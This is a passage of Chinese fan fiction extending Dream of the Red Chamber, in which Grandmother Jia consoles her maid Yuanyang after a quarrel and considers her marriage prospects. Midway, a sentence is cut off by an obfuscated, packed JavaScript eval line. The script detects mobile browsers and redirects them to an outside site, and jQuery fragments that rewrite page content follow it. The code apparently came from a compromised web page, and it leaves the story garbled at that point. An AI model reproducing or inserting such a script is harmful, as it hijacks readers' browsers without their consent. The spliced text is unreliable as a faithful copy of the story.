众人知道刚才贾母生了好大的气,此时都尽力要将气氛活络起来,好让贾母高兴。
贾母看见王夫人仍是默默的、有些强颜欢笑的样子,心下也知方才是有些迁怒于她了,别的事也罢了,绝没有两妯娌合起伙来给大伯子寻妾室的,便道:“我老了,难如从前周全,一时不察,说了些生气的话,太太不要往心里去。”
王夫人忙道:“老太太不要这样说,平日里老太太对我们是最宽仁的,偶尔生一回气,也是我们行事不周全的缘故,便教训一两句,也是为着我们好,都是应当的,我们很受教。”
贾母叹息一回,又自觉怠慢了客人,便同薛姨妈道恼。
薛姨妈笑道:“老太太也太客气了,自家人‘抬头不见低头见’,日常虽和睦,总也有个上牙打下牙的时候儿,说开了便罢了,这事也不必放在心上。如今我倒只惦记着她林姑娘说的那个故事,才讲到关键处,底下却没了,今日若是不听下去,恐怕觉也睡不好的。”众姊妹也都附和。
贾母听见这样说,便向黛玉温声道:“好孩子,才搅了你的兴了。是大人们的事可恶,我说他们两句,不干你们的事。这会子静下来了,你再细细地同我们说一回罢,那高家的兄弟两个,最后怎么样了?”
黛玉笑着答应了,在心里略一整理,便将高阿里的故事接着讲下去了。
---
是日晚间,鸳鸯服侍贾母梳洗,将所有事务都料理妥当后,鸳鸯扶贾母在榻上坐下,自己便跪下磕头,道:“鸳鸯无礼,请老祖宗责罚。”
贾母道:“这又是作甚么,快起来罢,地上凉。”
鸳鸯不肯起,又磕了两个头,只道:“鸳鸯知错。”
这也是个烈性的孩子,贾母叹一口气,道:“你叫那两口儿瞧中,又打发了你亲哥嫂来拿捏你,你还能全身而退,这是你的聪明。闹了这一场,虽是大家没脸,到底是家事,不曾丢人丢到外头去,好歹我也有个机会敲打敲打他夫妻两个。大老爷毕竟不比小时候儿,一晃眼也是有孙女的人了,有些行事我虽看不过眼去,等闲却也说不得他——要给他留脸。如今闹这一回也好,也叫他们行事别太糊涂了,只是委屈了你了,你是‘无妄之灾’,我又罚你什么?快起来罢。”
鸳鸯这才起来,眼里水波荡漾,鼻子又有些酸。
贾母招招手叫鸳鸯再走近些,将她的手拉住摩挲着,又向她头上脸上疼爱地瞧了瞧,忽然笑道:“日子过得可真快,想你才来时,不过那么一点大,瘦瘦小小,头发梢儿有些黄,真是个‘黄毛丫头’了,可怜见儿的,不知不觉也是大姑娘啰,这样漂亮。”
鸳鸯心里一热,唤了一声“老祖宗——”,喉头便哽咽住了。
贾母拍了拍她的手,叹道:“经过这一遭儿,属实也给我提了个醒。我人老了,难免有些贪心,因为习惯了你在身边,便想多留你几年。可如今看着这光景儿,却是因此给你埋了祸根了,我把你带在身边,给你招了多少恨、多少惦记呀。如今醒悟过来也还不晚,你服侍了我一场,趁我还没糊涂,须得给你早些儿定个好人家、才是道理。”
鸳鸯一怔,慢慢摇了摇头。
贾母以为她仍旧害怕贾赦威胁她的那些话,宽慰道:“你放心,到时便由我亲自替你备奁添妆、替你送嫁,大老爷说给你的那些混账话,你不必放在心上,凡事皆有我呢,由得他想怎样就怎样,还能没了王法了。”
鸳鸯心里感动,就势坐在榻边的竹脚踏上,轻轻抱着贾母的腿,喃喃地道:“鸳鸯不嫁,鸳鸯愿意一辈子陪着老祖宗、跟老祖宗做伴儿。”
贾母轻轻抚着她的头发,正看见她头上那处今日负气剪短的地方,现在纵是梳上去了,拿一支简单的银镀金穿珠花勉强拢着,细瞧之下仍旧是有些参差不齐,闻言叹道:“说什么傻话,女孩儿家家的,谁能不嫁人?若是一辈子拴着你、让你陪着我这个老东西熬日子,我也白吃斋供佛这些年,竟是造业了。”
鸳鸯只是将头轻轻靠在贾母膝头,一面含泪摇头。
贾母想了想,记起白日间鸳鸯发过的毒誓,便安慰道:“你放心,神佛是有眼的。你今日在人前立的那誓,原是情势迫得你不得不如此,神佛是明白的,便是将来违誓,也应不到你的身上,总有我顶着呢!好孩子,我知道你一颗心只是为我,可我一把子老骨头、还有几年光景儿?我走了,你没个依靠,又把那些人得罪得狠了,到时候你可怎么办?”
鸳鸯听贾母说起这样不祥的话,仰起头来,急切道:“老祖宗!”
贾母抚了抚她的背,笑道:“不妨事,我已是这把子年纪的人了,没那些忌讳。我这一辈子也够长了,该见识的都早见识过了,说句夸口的话,我只怕比寻常人家的人活过几辈子见得还多些呢,还有什么看不开?呵呵,难道这世上都不许说一个‘死’字儿了,人就都不死了么?”
鸳鸯默然不语,半晌才道:“老祖宗在一日,我就侍候老祖宗一日。老祖宗若是……若是……若是去了,我就去庙里住着,给老祖宗守‘长明灯’,每日念经祈福、持斋打坐,保佑老祖宗能永享仙福,就这样过一辈子也罢了。”
贾母又叹口气,道:“你这孩子,饶是聪明能干,总是太年轻、还不晓得人心的坏处。先不说你好好的女孩儿家,不去嫁人生子,却要把大好的年华浪费在青灯佛台前头,这是神佛也不忍的。再者,你以为你往庙里去便能得了清净?唉,我活了一辈子,信佛供佛,也最知道那些庵堂里的腌臜事。你不知道,修行的人里头也有那心坏的,借着神谕佛旨的名头行那些暴敛欺凌之事,比那寻常坏人更觉厉害!好孩子,我知道,如今被那混账把你刺激得厉害,你的心灰了,一时半刻也想不转。如今且不急,若有好的时,我替你留意着就是了,你安心,总有我
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17081490|162289||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
给你做主。”
老太太说出这样的话来,便是铁打的心也要给说软了,鸳鸯只是伏在贾母膝头流泪。
贾母想起鸳鸯素日的好处,不仅感慨道:“这也是我‘求’你呢,如今我们家里这些哥儿,有一个算一个,若能得你在旁襄助辅佐着,是再好没有的,比别的什么人都让我放心。”
鸳鸯忙道:“老祖宗,鸳鸯当不起。”
贾母笑道:“怎么当不起,我说你‘当得起’,你就当得起。怎么,你还当他们是什么金尊玉贵的香饽饽么?这话也只得咱们两个关起门来说——我如今老了、不愿管他们的事,幸得国公爷去得早,少生多少气!若被他兄弟几个瞧见今日贾家儿郎的作为,还不知闹得怎样,实在看不过眼时,管教打死了也没二话。你以为他们该配什么公主郡主不成,若得了你在身边,该他们烧高香了。”
鸳鸯眨着眼睛,这话她却不能接。
贾母又想了一想,道:“如今家里与你年纪相当的孩子,我瞧琏儿是最合适的,虽也有些小毛病儿,究竟在他们兄弟中是个能干的,等再看几年,更沉稳了,配你倒是得宜。只是那屋里如今已有了一个凤丫头,呵,却是有些儿难缠。”
鸳鸯听见贾母话里是在替她选人,脸上有些红,半垂了头不说话,可听见贾母说起凤姐儿来,却忍不住道:“老太太一向不是很看重二奶奶的?”
贾母笑道:“世上哪有十全的人,凭她再出挑,总多少有些毛病儿——喔,只除了我的林丫头,那个孩子真是通身没有一丝错儿——只更令人心疼了。咱们这位‘琏二奶奶’呀,头一件的好处就是‘厉害’,却也就坏在这个厉害上头,厉害得太过了,眼里不大能容得人。别看她平日里与你和气,到底是你妨碍不到她的缘故,来日若是让你进了她那屋里,就是另一重光景了,你少不得要受她的气。罢了,还是和睦些好,我也不忍见你们两个孩子闹出那些不愉快的事来,你的事,还是慢慢看罢。”
鸳鸯认真道:“老祖宗,鸳鸯是真心要陪着您的,您别把我往外推罢,就叫我好好儿地伺候您。”
贾母轻轻抚着她的头发,叹道:“好、好,再说罢。”一面却思索着道:“好孩子,依你看,大老爷和大太太谋算这件事,凤丫头和太太起先知不知道?”
鸳鸯抬起头来,忙道:“老祖宗,求您将这事揭过去罢,别再想了,知道不知道,又能如何呢,万万不可为了我同自家人生了龃龉、伤了和气。”
贾母按了按一边太阳,鸳鸯看见,立时起身来替贾母轻轻按摩着,贾母感觉肩颈有些松快,闭目道:“正因为是‘自家人’,更得明算账。鸳鸯啊,老祖宗教给你一句话,这才是咱们大家子过日子的‘根本’。有些事,面上不点破是为了留地步、保体面,咱们可以装糊涂,却不能真糊涂,若是心里不清楚、不明白,叫人给蒙在鼓里头,好日子可就过不长久啰。”